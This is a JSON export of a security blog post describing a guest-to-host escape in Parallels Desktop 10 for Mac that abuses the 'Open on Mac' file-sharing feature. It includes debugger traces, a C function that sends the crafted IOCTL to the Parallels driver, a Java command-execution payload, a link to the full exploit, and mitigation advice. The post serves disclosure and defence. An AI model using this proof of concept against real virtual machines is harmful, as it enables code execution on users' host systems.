{"id":35,"date":"2016-07-03T11:05:10","date_gmt":"2016-07-03T11:05:10","guid":{"rendered":"http:\/\/piratesecurityblog.com\/?p=35"},"modified":"2017-08-23T08:53:01","modified_gmt":"2017-08-23T08:53:01","slug":"simple-guest-to-host-vm-escape-for-parallels-desktop","status":"publish","type":"post","link":"https:\/\/piratesecurityblog.com\/?p=35","title":{"rendered":"Simple guest to host VM escape for Parallels Desktop"},"content":{"rendered":"<h3 class=\"post-title entry-title\"><a href=\"http:\/\/blog.cr4.sh\/2014\/11\/simple-guest-to-host-vm-escape-for.html\">Simple guest to host VM escape for Parallels Desktop<\/a><\/h3>\n<div class=\"post-header\"><\/div>\n<div class=\"post-body entry-content\">\n<div dir=\"ltr\">\n<div dir=\"ltr\">\n<div><i>First post in this blog that written in english, please be patient with my awful language skills.<\/i><\/div>\n<p>This is a little story about exploiting guest to host VM escape not-a-vulnerability in\u00a0Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor bugs or low-level vulnerabilities in guest-host communication interfaces, it can be easily performed even by very lame Windows malware if your virtual machine has insecure settings.<\/p>\n<h3>Discovering<\/h3>\n<div>It always was obvious to me, that rich features for communicating with the guest operating systems (almost any modern desktop\u00a0virtualisation\u00a0software has them) might be dangerous. Recently I finally decided to check, <i>how exactly<\/i> they can be dangerous on example of the virtualisation software that I&#8217;m using on OS X (and millions of<a href=\"http:\/\/store.apple.com\/us\/product\/HGDB2LL\/A\/parallels-desktop-10-for-mac-5-users\">other users<\/a> too). It&#8217;s a nice product and I think that currently it has a much less attention of security researchers than it actually deserving.<\/div>\n<p>Parallels Desktop 10 virtual machines has a lot of user-friendly capabilities for making guest operating system highly integrated with the host, and most of such options are enabled by default.<br \/>\nLet&#8217;s talk about one of them:<\/p>\n<table class=\"tr-caption-container\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n<tbody>\n<tr>\n<td><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/options-access-folders.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/options-access-folders.png\" width=\"646\" height=\"448\" border=\"0\" \/><\/a><\/td>\n<\/tr>\n<tr>\n<td class=\"tr-caption\">Parallels Desktop 10 VM options<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<div class=\"separator\"><\/div>\n<div class=\"separator\">There is &#8220;Access Windows folder from Mac&#8221;\u00a0option that looks pretty innocent (please note, that all other sharing options are off). This option is enabled by default for all of the virtual machines as well, and here is the description of this option from <a href=\"http:\/\/download.parallels.com\/desktop\/v10\/docs\/en_US\/Parallels%20Desktop%20User's%20Guide.pdf\">Parallels Desktop 10 for Mac User&#8217;s Guide<\/a>:<\/div>\n<div class=\"separator\"><\/div>\n<div class=\"separator\"><\/div>\n<div>\n<div class=\"p1\"><b><br \/>\n<\/b><b>Access a Windows Folder or File from a Mac OS X Application<\/b><\/div>\n<div class=\"p1\"><b>\u00a0<\/b><\/div>\n<div class=\"p2\">By default, you can navigate to all your Windows folders and files from Mac OS X. Windows disks are mounted to <span class=\"Apple-style-span\">\/Volumes<\/span>. At the same time, Windows appears as a hard disk mounted on the Mac OS X desktop.<\/div>\n<div class=\"p2\"><\/div>\n<div class=\"p2\"><\/div>\n<div class=\"p1\"><b>Note:<\/b> The Windows disk disappears from the desktop and the Finder, but you can still access all of the Windows files and folders via the Windows PVM file and Terminal (<span class=\"Apple-style-span\">\/Volumes<\/span>). By default, the PVM file is either in <span class=\"Apple-style-span\">\/Users\/&lt;Username&gt;\/Documents\/Parallels\/<\/span> or <span class=\"Apple-style-span\">\/Users\/Shared<\/span>. You can also find the PVM file by right-clicking Windows in <b>Parallels Desktop Control Center<\/b> (or in the virtual machine window when Windows is shut down) and selecting <b>Show in Finder<\/b>. To access Windows files and folders, right-click the PVM file, select<b>Show Package Contents<\/b> from the context menu, and open the Windows Disks folder. To disable the ability to navigate to Windows files and folders, deselect<b> Access Windows folders from Mac<\/b> in step 3 above.<\/div>\n<div class=\"p1\"><\/div>\n<\/div>\n<\/div>\n<div class=\"p1\">Well, just a guest file system sharing, you&#8217;ll say, what could possibly go wrong? Unfortunately, a lot.<\/div>\n<p>After enabling this option you also can notice, that in context menu of Windows Explorer presents a very interesting &#8220;Open on Mac&#8221; shortcut:<\/p>\n<div class=\"separator\"><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/context-menu.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/context-menu.png\" width=\"320\" height=\"196\" border=\"0\" \/><\/a><\/div>\n<p>Looks promising, right? Technically this option asking the piece of Parallels software that working on the host side to do the thing, that equivalent to double-clicking on a target file in Finder.<\/p>\n<p>Guest-side part of this option is implemented as <span class=\"Apple-style-span\">PrlToolsShellExt.dll<\/span> shell extension (MD5 sum of DLL with version 10.1.1.28614 on my Windows 8.1 x64 guest is <span class=\"Apple-style-span\">97D15FB584C589FA297434E08CD0252F<\/span>). Menu item click handler is located at function <span class=\"Apple-style-span\">sub_180005834()<\/span> and after some pre-processing of input values it sends IOCTL request to the device <span class=\"Apple-style-span\">\\Device\\prl_tg<\/span> that aims to one of the Paralles kernel mode drivers (<span class=\"Apple-style-span\">prl_tg.sys<\/span>):<\/p>\n<div class=\"separator\"><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/shellext-ioctl.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/shellext-ioctl.png\" width=\"640\" height=\"160\" border=\"0\" \/><\/a><\/div>\n<p>After the breakpoint on this <span class=\"Apple-style-span\"><a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa363216(v=vs.85).aspx\">DeviceIoControl<\/a>()<\/span> call we will obtain a call stack backatrace and function arguments:<\/p>\n<pre>0:037&gt; k L7\r\nChild-SP          RetAddr           Call Site\r\n00000000`12bcd1c0 00007ff9`2a016969 PrlToolsShellExt!DllUnregisterServer+0x1596\r\n00000000`12bcd310 00007ff9`2a01fd71 SHELL32!Ordinal93+0x225\r\n00000000`12bcd410 00007ff9`2a4cf03a SHELL32!SHCreateDefaultContextMenu+0x581\r\n00000000`12bcd780 00007ff9`2a4cc4b1 SHELL32!Ordinal927+0x156c2\r\n00000000`12bcdaf0 00007ff9`2a4c76f7 SHELL32!Ordinal927+0x12b39\r\n00000000`12bcded0 00007ff9`21d09944 SHELL32!Ordinal927+0xdd7f\r\n00000000`12bcdf20 00007ff9`21d059d3 explorerframe!UIItemsView::ShowContextMenu+0x298<\/pre>\n<p>First 4 arguments of the <span class=\"Apple-style-span\">DeviceIoControl()<\/span>, rcx &#8211; device handle, r8 &#8211; input buffer, r9 &#8211; buffer length:<\/p>\n<pre>0:037&gt; r\r\nrax=0000000012bcd240 rbx=0000000000000000 rcx=0000000000000d74\r\nrdx=000000000022a004 rsi=0000000000000001 rdi=0000000000000070\r\nrip=00007ff918bd5b92 rsp=0000000012bcd1c0 rbp=000000000022a004\r\nr8=0000000012bcd240  r9=0000000000000070 r10=000000001a5bc990\r\nr11=000000001a5bd110 r12=0000000000000002 r13=0000000012bcd490\r\nr14=0000000012bcd4a0 r15=0000000016af90f0\r\n<\/pre>\n<p>Last 4 arguments of the <span class=\"Apple-style-span\">DeviceIoControl()<\/span> that was passed over the stack:<\/p>\n<pre>0:037&gt; dq rsp L4\r\n00000000`12bcd1c0  00000000`00000000 00000000`02bdc218\r\n00000000`12bcd1d0  00000000`00000001 00000000`00ce2480\r\n<\/pre>\n<p>IOCTL request input buffer:<\/p>\n<pre>0:037&gt; dq @r8\r\n00000000`12bcd240  ffffffff`00008321 00000000`00010050\r\n00000000`12bcd250  00000000`00000001 00000000`00000002\r\n00000000`12bcd260  00000000`00000002 00000000`00000000\r\n00000000`12bcd270  00000000`00000000 00000000`00000000\r\n00000000`12bcd280  00000000`00000000 00000000`00000000\r\n00000000`12bcd290  00000000`00000000 00000000`00000000\r\n00000000`12bcd2a0  00000000`02c787d0 00000000`0000003c\r\n<\/pre>\n<p>It consists from several magic values and pointer to the ASCII string with the target file path at 0x60 offset:<\/p>\n<pre>0:037&gt; da poi(@r8+60)\r\n00000000`02c787d0  \"\\\\psf\\TC\\dev\\_exploits\\prl_guet_\"\r\n00000000`02c787f0  \"to_host\\New Text Document.txt\"\r\n<\/pre>\n<p>After sending this IOCTL control request to the driver, specified file will be opened at the host side. It&#8217;s also interesting and useful, that this action can be triggered from Windows user account with any privileges (including Guest):<\/p>\n<table class=\"tr-caption-container\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n<tbody>\n<tr>\n<td><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/device-permissions.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/device-permissions.png\" width=\"549\" height=\"640\" border=\"0\" \/><\/a><\/td>\n<\/tr>\n<tr>\n<td class=\"tr-caption\">\\Device\\prl_tg security permissions<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>And because the target file will be opened at the host side with privileges of the current OS X user, it seems that &#8220;Access Windows folder from Mac&#8221; option is definitely breaks a security model that you&#8217;re usually expecting from guest-host interaction.<\/p>\n<h3>Exploiting<\/h3>\n<p>The following function was implemented after the short reverse engineering of shell extension. It interacting with the Parallels kernel driver and executing specified file at the host side:<\/p>\n<pre>void OpenFileAtTheHostSide(char *lpszFilePath)\r\n{\r\n    HANDLE hDev = NULL;\r\n\r\n    \/\/ get handle to the target device    \r\n    if (OpenDevice(L\"\\\\Device\\\\prl_tg\", &amp;hDev))\r\n    {\r\n        PDWORD64 RequestData = (PDWORD64)LocalAlloc(LMEM_FIXED, 0x70);\r\n        if (RequestData)\r\n        {\r\n            IO_STATUS_BLOCK StatusBlock;          \r\n\r\n            ZeroMemory(RequestData,\u00a00x70);\r\n\r\n            \/*\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0Fill IOCTL request input buffer.\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0It has the same layout on x86 and x64 versions of Windows\r\n\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0\u00a0*\/\r\n            RequestData[0x0] = 0xffffffff00008321; \/\/ magic values\r\n            RequestData[0x1] = 0x0000000000010050;\r\n            RequestData[0x2] = 0x0000000000000001;\r\n            RequestData[0x3] = 0x0000000000000002;\r\n            RequestData[0x4] = 0x0000000000000002;\r\n            RequestData[0xc] = (DWORD64)lpszFilePath; \/\/ file path and it's length\r\n            RequestData[0xd] = (DWORD64)strlen(lpszFilePath) + 1;\r\n\r\n            NTSTATUS ns = NtDeviceIoControlFile(\r\n                hDev, NULL, NULL, NULL, &amp;StatusBlock,\r\n                0x22a004, \/\/ IOCTL code\r\n                RequestData, 0x70,\r\n                RequestData, 0x70\r\n            );\r\n            \r\n            DbgMsg(__FILE__, __LINE__, \"Device I\/O control request status is 0x%.8x\\n\", ns);\r\n\r\n            \/\/ ...\r\n\r\n            M_FREE(RequestData);\r\n        }\r\n\r\n        CloseHandle(hDev);\r\n    }\r\n}\r\n<\/pre>\n<p>Now let&#8217;s write some payload.<br \/>\nUnfortunately, we can&#8217;t execute a shell script or AppleScript file in this way because such files will be opened in a text editor. But there&#8217;s still a lot of other evil things that attacker can do with the ability of arbitrary file opening. For example, it&#8217;s possible to write a Java .class that executes specified command and saves it&#8217;s output to the guest file system (that usually mounted at <span class=\"Apple-style-span\">\/Volumes\/&lt;windows_letter&gt;<\/span>):<\/p>\n<pre>public static void main(String[] args) \r\n{ \r\n    \/\/ exeute command and get it's output\r\n    StringBuilder output = new StringBuilder();\r\n    if (exec(defaultCmd, output) == -1)\r\n    {\r\n        output.append(\"Error while executing command\");\r\n    }\r\n                     \r\n    String volumesPath = \"\/Volumes\";\r\n    File folder = new File(volumesPath);\r\n\r\n    \/\/ enumerate mounted volumes of Parallels guests\r\n    for (File file : folder.listFiles()) \r\n    {\r\n        if (file.isDirectory()) \r\n        {    \r\n            \/\/ try to save command output into the temp\r\n            String outFile = volumesPath + \"\/\" + \r\n                file.getName() + \"\/Windows\/Temp\/prl_host_out.txt\";\r\n\r\n            try\r\n            {                    \r\n                write(outFile, output.toString());\r\n            }                    \r\n            catch (IOException e) { continue; }\r\n        }\r\n    }\r\n}\r\n<\/pre>\n<p>Using this .class and <span class=\"Apple-style-span\">OpenFileAtTheHostSide()<\/span> function we can implement a usable command execution exploit:<\/p>\n<table class=\"tr-caption-container\" cellspacing=\"0\" cellpadding=\"0\" align=\"center\">\n<tbody>\n<tr>\n<td><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/exploit.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/exploit.png\" width=\"640\" height=\"485\" border=\"0\" \/><\/a><\/td>\n<\/tr>\n<tr>\n<td class=\"tr-caption\">Execution of commands using PoC<\/td>\n<\/tr>\n<\/tbody>\n<\/table>\n<p>Full exploit code is available at GitHub:\u00a0<a href=\"https:\/\/github.com\/Cr4sh\/prl_guest_to_host\">https:\/\/github.com\/Cr4sh\/prl_guest_to_host<\/a><\/p>\n<p>Protection from this attack is pretty simple: disabling &#8220;Access Windows folder from Mac&#8221; option in virtual machine settings prevents the ability of opening files from the guest systems.<br \/>\nAlso, you can enable &#8220;Isolate Windows from Mac&#8221; option that disables (in theory) all of the virtual machine sharing features:<\/p>\n<div class=\"separator\"><a href=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/options-isolate.png\"><img loading=\"lazy\" src=\"https:\/\/raw.githubusercontent.com\/Cr4sh\/blog\/master\/prl-vm-escape\/options-isolate.png\" width=\"495\" height=\"420\" border=\"0\" \/><\/a><\/div>\n<h3>TL;DR<\/h3>\n<ul>\n<li>It can be rather an incomplete documentation issue than vulnerability. It&#8217;s absolutely not obvious for user, that guest file system sharing can lead to arbitrary code execution at the host side.<\/li>\n<li>Exploit is very simple and reliable, works under all of the versions of Windows on guest machines, attack can be performed with the privileges of any Windows user that belongs to the <a href=\"http:\/\/msdn.microsoft.com\/en-us\/library\/windows\/desktop\/aa379649(v=vs.85).aspx\">Everyone<\/a> security group. This issue is also relevant to other guest operating systems (like Linux and OS X), however, provided PoC was designed only for Windows.<\/li>\n<li>It will be good to disable sharing options of virtual machines, if such attack vector might be a critical for your threat model.<\/li>\n<li>I think that It&#8217;s very unlikely that Parallels will release any significant fixes or improvements for described mechanisms, because any reasonable fix will break the easy way of opening Windows documents on Mac.<\/li>\n<li>I played a bit with only one sharing option, but who knows now many similar (or even worse) security issues are actually exists in Parallels, VMware and Oracle products.<\/li>\n<\/ul>\n<p>PS: Have a good fun at <a href=\"https:\/\/twitter.com\/hashtag\/ZeroNights\">ZeroNights<\/a>, too bad that this year I&#8217;m missing it.<\/p>\n<\/div>\n<\/div>\n","protected":false},"excerpt":{"rendered":"<p>Simple guest to host VM escape for Parallels Desktop First post in this blog that written in english, please be patient with my awful language skills. This is a little story about exploiting guest to host VM escape not-a-vulnerability in\u00a0Parallels Desktop 10 for Mac. Discovered attack is not about some serious hardcore stuff like hypervisor &hellip; <a href=\"https:\/\/piratesecurityblog.com\/?p=35\" class=\"more-link\">Continue reading <span class=\"screen-reader-text\">Simple guest to host VM escape for Parallels Desktop<\/span><\/a><\/p>\n","protected":false},"author":1,"featured_media":0,"comment_status":"closed","ping_status":"closed","sticky":false,"template":"","format":"standard","meta":[],"categories":[7],"tags":[18],"_links":{"self":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/35"}],"collection":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts"}],"about":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/types\/post"}],"author":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/users\/1"}],"replies":[{"embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcomments&post=35"}],"version-history":[{"count":2,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/35\/revisions"}],"predecessor-version":[{"id":59,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=\/wp\/v2\/posts\/35\/revisions\/59"}],"wp:attachment":[{"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fmedia&parent=35"}],"wp:term":[{"taxonomy":"category","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Fcategories&post=35"},{"taxonomy":"post_tag","embeddable":true,"href":"https:\/\/piratesecurityblog.com\/index.php?rest_route=%2Fwp%2Fv2%2Ftags&post=35"}],"curies":[{"name":"wp","href":"https:\/\/api.w.org\/{rel}","templated":true}]}}